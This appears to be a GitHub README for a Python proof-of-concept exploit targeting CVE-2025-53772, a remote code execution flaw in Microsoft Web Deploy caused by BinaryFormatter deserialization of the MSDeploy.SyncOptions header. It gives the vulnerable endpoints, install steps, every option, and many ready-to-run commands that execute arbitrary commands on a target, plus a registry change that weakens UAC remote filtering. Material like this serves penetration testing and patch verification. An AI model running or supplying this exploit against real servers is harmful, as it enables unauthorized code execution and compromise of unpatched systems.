sailay1996/cve-2025-53772poc for cve-2025-53772
A Python-based exploit for CVE-2025-53772, a remote code execution vulnerability in Microsoft Web Deploy (msdeploy) caused by unsafe deserialization of HTTP header data.
| Property | Value |
|---|
| CVE ID | CVE-2025-53772 |
| CVSS Score | 8.8 (High) |
| Affected Product | Microsoft Web Deploy 4.0 |
| Vulnerable Versions | < 10.0.2001 |
| Patched Version | 10.0.2001+ |
| Vulnerability Type | Deserialization of Untrusted Data (CWE-502) |
| Authentication | Required (Low Privilege) |
The vulnerability exists in the deserialization of the MSDeploy.SyncOptions HTTP header. When a specially crafted payload is sent, the server deserializes it using BinaryFormatter, triggering arbitrary code execution via the TypeConfuseDelegate gadget chain.
Attacker Target Server
│ │
│ POST /MSDEPLOYAGENTSERVICE HTTP/1.1 │
│ MSDeploy.SyncOptions: <malicious_payload> │
│─────────────────────────────────────────────>│
│ │
│ BinaryFormatter.Deserialize()
│ │
│ ▼
│ Process.Start("cmd.exe", "/c ...")
│ │
│ ▼
│ RCE Achieved!
| Endpoint | Port | Protocol | Auth Type |
|---|---|---|---|
/MSDEPLOYAGENTSERVICE | 80 | HTTP | NTLM |
/msdeploy.axd | 8172 | HTTPS | Basic |
git clone https://github.com/sailay1996/CVE-2025-53772.git
cd CVE-2025-53772
pip install -r requirements.txt
requests>=2.28.0
urllib3>=1.26.0
requests-ntlm>=1.2.0
# Create proof file in C:\Windows\Temp\pwned.txt
python3 CVE-2025-53772.py -t <TARGET_IP> -u "<DOMAIN\username>" -P "<password>" --ntlm --proof-temp
-t, --target Target IP or hostname (required)
-u, --user Username (required)
-P, --password Password (required)
--port Target port (default: 80)
--endpoint Endpoint path (default: /MSDEPLOYAGENTSERVICE)
--ntlm Use NTLM authentication (required for Agent Service)
--calc Execute calc.exe
--proof-temp Create C:\Windows\Temp\pwned.txt
--proof-web Create C:\inetpub\wwwroot\pwned.txt
-c, --command Custom command to execute
--generate-only Only generate payload, don't send
-o, --output Save payload to file
# Pop calculator
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\Administrator" -P "P@ssw0rd" --ntlm --calc
# Create proof file in temp folder
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\webdeploy" -P "Password123" --ntlm --proof-temp
# Create proof file in webroot (verify via browser)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm --proof-web
# Execute custom command
python3 CVE-2025-53772.py -t 192.168.1.100 -u "WORKSTATION\admin" -P "Password123" --ntlm -c "whoami > C:\Windows\Temp\whoami.txt"
# Generate payload only (don't send)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "test" -P "test" --generate-only --proof-temp -o payload.txt
# Using msdeploy.axd endpoint (no --ntlm flag)
python3 CVE-2025-53772.py -t 192.168.1.100 -u "webdeploy" -P "Password123" --port 8172 --endpoint "/msdeploy.axd" --proof-temp
After running the exploit, verify execution on the target:
# Check for proof file
type C:\Windows\Temp\pwned.txt
# Or via browser (if --proof-web was used)
# Navigate to: http://<TARGET>/pwned.txt
If using Agent Service with NTLM and getting 401:
# On target, disable UAC remote filtering:
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
The IIS handler may not be registered. Use Agent Service endpoint instead:
--port 80 --endpoint "/MSDEPLOYAGENTSERVICE"
# Check installed version
(Get-Command msdeploy.exe).FileVersionInfo.FileVersion
# Vulnerable if < 10.0.2001
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.
MIT License